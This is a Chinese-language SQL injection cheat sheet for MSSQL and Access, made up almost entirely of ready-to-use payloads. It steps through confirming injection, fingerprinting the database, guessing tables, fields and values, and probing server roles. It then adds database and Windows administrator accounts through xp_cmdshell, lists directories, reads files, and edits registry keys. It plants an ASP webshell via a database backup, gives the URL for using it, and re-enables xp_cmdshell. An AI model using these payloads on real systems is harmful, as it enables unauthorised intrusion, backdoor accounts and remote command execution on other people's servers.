1.判断是否有注入
;and 1=1
;and 1=2

2.初步判断是否是mssql
;and user>0

3.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4.注入参数是字符
'and [查询条件] and ''='

5.搜索时没过滤参数的
'and [查询条件] and '%25'='

6.猜数据库
;and (Select Count(*) from [数据库名])>0

7.猜字段
;and (Select Count(字段名) from 数据库名)>0

8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(SELECT IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,

username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin

username;--
;exec master.dbo.xp_cmdshell 'net user username

password /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add'

;--
;exec master.dbo.xp_cmdshell 'net user username

password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup

administrators username /add';--

12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not

in('上步得到的paths'))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE',

'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE',

'SOFTWARE\Microsoft\Windows\CurrentVersion',

'CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE',

'SOFTWARE\Microsoft\Windows\CurrentVersion',

'TestValueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE',

'SOFTWARE\Microsoft\Windows\CurrentVersion',

'TestValueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE',

'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oScript %>');
backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库


16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp';

请求的时候,像这样子用:
http://ip/l.asp?c=dir

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell扩展过程的方法是使用如下语句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell扩展过程的方法是使用如下语句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

去除

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'
